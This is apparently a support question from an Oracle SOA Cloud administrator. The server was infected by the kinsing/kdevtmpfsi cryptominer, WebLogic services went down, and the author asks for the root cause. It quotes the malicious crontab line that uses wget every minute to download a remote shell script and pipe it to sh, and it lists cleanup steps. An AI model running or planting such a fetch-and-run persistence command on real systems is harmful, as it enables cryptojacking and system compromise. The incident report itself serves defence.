Information in this document applies to any platform.
We found on our SOACS Cloud server, processes kdevtmpfsi and kinsing were consuming high CPUs. Because of it weblogic services went down.
We found below entry inside our crontab which was unusual.
* * * * * wget -q -O - http://XXX.XXX.XXX.XXX/wb.sh | sh > /dev/null 2>&1
We killed processes kdevtmpfsi and kinsing and removed below files. Then load on system came back to normal.
rm -vf /tmp/kdevtmpfsi
rm -vf /tmp/kinsing
But why it happened and how these entries got added in Oracle server in first place as it can also happen to our PROD instances so we need to find root cause of this issue.
